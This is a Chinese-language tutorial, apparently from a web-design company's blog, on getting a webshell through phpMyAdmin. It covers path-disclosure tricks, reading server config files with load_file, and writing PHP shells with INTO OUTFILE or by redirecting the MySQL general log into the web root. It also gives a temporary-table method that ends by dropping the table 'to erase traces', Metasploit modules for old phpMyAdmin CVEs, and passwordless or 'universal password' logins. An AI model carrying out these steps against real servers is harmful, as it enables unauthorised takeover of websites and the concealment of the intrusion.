本篇内容介绍了“phpMydmin的简介以及GetShell的用法”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!
phpMyadmin简介
成都创新互联公司是专业的城子河网站建设公司,城子河接单;提供网站制作、网站设计,网页设计,网站设计,建网站,PHP网站建设等专业做网站服务;采用PHP框架,可快速的进行城子河网站开发网页制作和功能扩展;专业做搜索引擎喜爱的网站,专业的做网站团队,希望更多企业前来合作!
phpMyadmin是一个以PHP为基础的数据库管理工具,使网站管理员可通过Web接口管理数据库 。信息收集
此部分主要需要收集的是网站物理路径,否则后续无法通过URL连接Shell物理路径
查询数据库存储路径来推测网站物理路径,也可以通过log变量得到select @@datadir;
配置文件爆路径:如果注入点有文件读取权限,可通过load_file尝试读取配置文件# Windows c:\windows\php.ini # php配置文件 c:\windows\system32\inetsrv\MetaBase.xml # IIS虚拟主机配置文件 # Linux /etc/php.ini # php配置文件 /etc/httpd/conf.d/php.conf /etc/httpd/conf/httpd.conf # Apache配置文件 /usr/local/apache/conf/httpd.conf /usr/local/apache2/conf/httpd.conf /usr/local/apache/conf/extra/httpd-vhosts.conf # 虚拟目录配置文件
单引号爆路径:直接在URL后面加单引号。要求单引号没有被过滤(gpc=off)且默认返回错误信息。
www.abc.com/index.php?id=1'
错误参数值爆路径:尝试将要提交的参数值改成错误值。
www.abc.com/index.php?id=-1
Nginx文件类型错误解析爆路径:要求Web服务器是Nginx,且存在文件类型解析漏洞。在图片地址后添加/x.php,该图片不但会被当作php文件执行,还有可能爆出物理路径。
www.abc.com/bg.jpg/x.php
Google爆路径site:xxx.com warning site:xxx.com “fatal error”
测试文件爆路径www.xxx.com/test.php www.xxx.com/ceshi.php www.xxx.com/info.php www.xxx.com/phpinfo.php www.xxx.com/php_info.php www.xxx.com/1.php
其它phpMyAdmin/libraries/selectlang.lib.php phpMyAdmin/darkblueorange/layout.inc.php phpmyadmin/themes/darkblue_orange/layout.inc.php phpMyAdmin/index.php?lang[]=1 phpMyAdmin/darkblueorange/layout.inc.php phpMyAdmin/index.php?lang[]=1 /phpmyadmin/libraries/lect_lang.lib.php /phpMyAdmin/phpinfo.php /phpmyadmin/themes/darkblue_orange/layout.inc.php /phpmyadmin/libraries/select_lang.lib.php /phpmyadmin/libraries/mcrypt.lib.php其它信息
phpMyadmin后台面板可以直接看到MySQL版本、当前用户、操作系统、PHP版本、phpMyadmin版本等信息
也可以通过SQL查询得到其它信息select version(); -- 查看数据库版本 select @@datadir; -- 查看数据库存储路径 show VARIABLES like '%char%'; -- 查看系统变量GetShell前提条件网站真实路径。如果不知道网站真实路径则后续无法
通过URL的方式连shell读写权限。查询secure_file_priv参数,查看是否具有读写文件权限,若为NULL则没有办法写入shell。
这个值是只读变量,只能通过配置文件修改,且更改后需重启服务才生效select @@secure_file_priv -- 查询secure_file_priv -- secure_file_priv=NULL,禁止导入导出 -- secure_file_priv='',不限制导入导出 -- secure_file_priv=/path/,只能向指定目录导入导出 select load_file('c:/phpinfo.php'); -- 读取文件 select '123' into outfile 'c:/shell.php'; -- 写入文件常规GetShell
直接通过SQL查询写入shell-- 假设物理路径为 "G:\phpStudy\WWW" select '' into outfile 'G:/phpStudy/WWW/shell.php';日志GetShell
MySQL5.0版本以上会创建日志文件,通过修改日志的全局变量打开日志并指定日志保存路径,再通过查询写入一句话木马,此时该木马会被日志记录并生成日志文件,从而GetShell。但是前提是要对生成的日志文件有读写权限。
查询日志全局变量show variables like '%general%'; Variable_name Value general_log OFF general_log_file G:\phpStudy\MySQL\data\FengSec.log
general_log:日志保存状态
general_log_file:日志保存路径
开启日志保存并配置保存路径set global general_log = "ON"; -- 打开日志保存 set global general_log_file = "G:/phpstudy/WWW/log.php"; -- 设置日志保存路径,需先得知网站物理路径,否则即使写入了Shell也无法通过URL连接
写shellselect '';新表GetShell
进入一个数据库,新建数据表。
名字随意,这里为shell_table
字段数填1
添加字段
字段名任意,这里为xiaoma
字段类型为TEXT
在该表中点击插入,值为一句话木马'
执行SQL查询,将该表中的内容导出到指定文件-- 假设物理路径为 "G:\phpStudy\WWW" select * from shell_table into outfile "G:/phpstudy/WWW/shell.php";
删除该表,抹除痕迹Drop TABLE IF EXISTS shell_table;
以上步骤也可以通过MySQL语句执行Create TABLE shell_table (xiaoma text NOT NULL) -- 建表 Insert INTO shell_table (xiaoma) VALUES(''); -- 写入 select * from shell_table into outfile 'G:/phpstudy/WWW/shell.php'; -- 导出 Drop TABLE IF EXISTS shell_table; -- 删表特殊版本GetShell
CVE-2013-3238
影响版本:3.5.x < 3.5.8.1 and 4.0.0 < 4.0.0-rc3 ANYUN.ORG
利用模块:exploit/multi/http/phpmyadminpregreplace
CVE-2012-5159
影响版本:phpMyAdmin v3.5.2.2
利用模块:exploit/multi/http/phpmyadmin3522_backdoor
CVE-2009-1151
PhpMyAdmin配置文件/config/config.inc.php存在命令执行
影响版本:2.11.x < 2.11.9.5 and 3.x < 3.1.3.1
利用模块:exploit/unix/webapp/phpmyadmin_config
弱口令&万能密码
弱口令:版本phpmyadmin2.11.9.2, 直接root用户登陆,无需密码
万能密码:版本2.11.3 / 2.11.4,用户名'localhost'@'@"则登录成功